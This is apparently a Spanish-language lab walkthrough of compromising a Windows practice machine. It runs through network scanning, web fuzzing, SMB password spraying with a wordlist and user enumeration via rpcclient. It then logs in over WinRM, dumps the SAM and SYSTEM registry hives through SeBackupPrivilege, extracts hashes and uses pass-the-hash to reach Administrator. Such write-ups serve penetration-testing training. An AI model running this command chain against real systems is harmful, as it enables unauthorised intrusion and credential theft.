Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.80
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.80
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Windows.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.80 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 80, 135, 139, 445, 5040, 5985, 7680, 47001, 49664, 49665, 49666, 49667, 49668, 49669 y 49670.
Comprobamos que es lo que corre por el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
Encontramos el directorio speed.
Accedemos a el.
Investigamos en todos los apartados de la pagina web.
En el apartado TEAM nos encontramos que hay cuatro trabajadores con sus respectivos nombres, por lo tanto nos creamos un diccionario con dichos nombres, para ello ejecutamos el siguiente comando:
$ nano users.txt
A continuación, con la ayuda de la herramienta netexec realizamos un ataque a smb, para ello ejecutamos el siguiente comando:
$ netexec smb 10.0.2.80 -u users.txt -p ./rockyou.txt --ignore-pw-decoding
Obtenemos las credenciales p.smith:kissme.
Tambien con la ayuda de la herramienta netexec comprobamos si estas credenciales son validas para conectarnos por WinRM (5985), para ello ejecutamos el siguiente comando:
$ netexec winrm 10.0.2.80 -u 'p.smith' -p 'kissme'
A continuación teniendo un usuario y contraseña valido, con la ayuda de la herramienta rpcclient enumeramos y extraemos información de los usuarios del sistema, para ello ejecutamos el siguiente comando:
$ rpcclient -U "p.smith%kissme" 10.0.2.80 -c "querydispinfo and enumdomusers"
Encuentramos nuevos usuarios del sistema y en la descripción del usuario m.davis obtenemos la contraseña H0$T1nG123!.
Agregamos los nuevos usuarios encontrados a nuestro diccionario de usuarios, para ello ejecutamos el siguiente comando:
$ nano users.txt
De nuevo con la ayuda de la herramienta netexec realizamos un ataque a smb para comprobar a que usuario pertenece la contraseña encontrada anteriormente, para ello ejecutamos el siguiente comando:
$ netexec smb 10.0.2.80 -u users.txt -p 'H0$T1nG123!' --ignore-pw-decoding
Vemos que pertenece al usuario j.wilson.
De nuevo con la ayuda de la herramienta netexec comprobamos si estas credenciales son validas para conectarnos por WinRM (5985), para ello ejecutamos el siguiente comando:
$ netexec winrm 10.0.2.80 -u 'j.wilson' -p 'H0$T1nG123!'
Nos conectamos a la maquina victima a traves de
WinRM (
5985) con la ayuda de la herramienta
evil-winrm, para ello ejecutamos el siguiente comando:
$ evil-winrm -i 10.0.2.80 -u 'j.wilson' -p 'H0$T1nG123!'
Identificamos los privilegios, para ello ejecutamos el siguiente comando:
c:> whoami /priv
Tenemos el privilegio SebackupPrivilege activado, siendo este un privilegio de Windows que otorga a un usuario omitir los permisos del sistema de archivos para realizar copias de seguridad, por lo tanto, exportamos los archivos SAM y SYSTEM del registro, para ello ejecutamos los siguiente comandos:
c:> reg save HKLM\SAM sam
c:> reg save HKLM\SYSTEM system
Nos los descargamos a nuestra Máquina Atacante, para ello ejecutamos los siguiente comandos:
c:> download sam
c:> download system
A continuación, con la ayuda de la herramienta impacket extraemos los hashes, para ello ejecutamos el siguiente comando:
$ impacket-secretsdump -sam sam -system system LOCAL
Nos conectamos a la maquina victima a traves de WinRM (5985) con la ayuda de la herramienta evil-winrm empleando la técnica Pass the Hash (PtH), para ello ejecutamos el siguiente comando:
$ evil-winrm -i 10.0.2.80 -u 'administrator' -H '41186fb28e283ff758bb3dbeb6fb4a5c'
¡¡¡Somos Administrator!!!.
